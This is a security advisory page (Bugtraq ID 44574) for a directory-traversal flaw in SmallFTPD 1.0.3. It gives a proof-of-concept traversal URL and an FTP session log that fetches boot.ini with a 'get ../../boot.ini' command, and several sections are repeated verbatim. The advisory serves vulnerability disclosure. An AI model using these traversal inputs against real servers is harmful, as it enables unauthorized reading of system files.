SmallFTPD GET Request Directory Traversal Vulnerability
BID:44574
Info
SmallFTPD GET Request Directory Traversal Vulnerability
| Bugtraq ID: | 44574 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 01 2010 12:00AM |
| Updated: | Nov 01 2010 12:00AM |
| Credit: | Pr0T3cT10n |
| Vulnerable: |
smallftpd smallftpd 1.0.3 |
| Not Vulnerable: | |
Discussion
SmallFTPD GET Request Directory Traversal Vulnerability
SmallFTPD is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.
Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks.
SmallFTPD 1.0.3 is vulnerable; other versions may also be affected.
SmallFTPD is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.
Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks.
SmallFTPD 1.0.3 is vulnerable; other versions may also be affected.
Exploit / POC
SmallFTPD GET Request Directory Traversal Vulnerability
Attackers can exploit this using readily available network utilities.
The following proof-of-concept is available:
http://www.example.com/..\..\..\boot.ini
hC:\Documents and Settings\Admin>ftp ftp.example.com
Connected to ftp.example.com.
220- smallftpd 1.0.3
220- check http://smallftpd.free.fr for more information
220 report bugs to [email protected]
User (127.0.0.1:(none)): test
331 User name okay, password required.
Password:
230 User logged in.
ftp> get ../../boot.ini
200 Port command successful.
150 Data connection ready.
226 Transfer complete.
ftp: 211 bytes received in 0.00Seconds 211000.00Kbytes/sec.
ftp> bye
221 Good bye.
Attackers can exploit this using readily available network utilities.
The following proof-of-concept is available:
http://www.example.com/..\..\..\boot.ini
hC:\Documents and Settings\Admin>ftp ftp.example.com
Connected to ftp.example.com.
220- smallftpd 1.0.3
220- check http://smallftpd.free.fr for more information
220 report bugs to [email protected]
User (127.0.0.1:(none)): test
331 User name okay, password required.
Password:
230 User logged in.
ftp> get ../../boot.ini
200 Port command successful.
150 Data connection ready.
226 Transfer complete.
ftp: 211 bytes received in 0.00Seconds 211000.00Kbytes/sec.
ftp> bye
221 Good bye.
Solution / Fix
SmallFTPD GET Request Directory Traversal Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].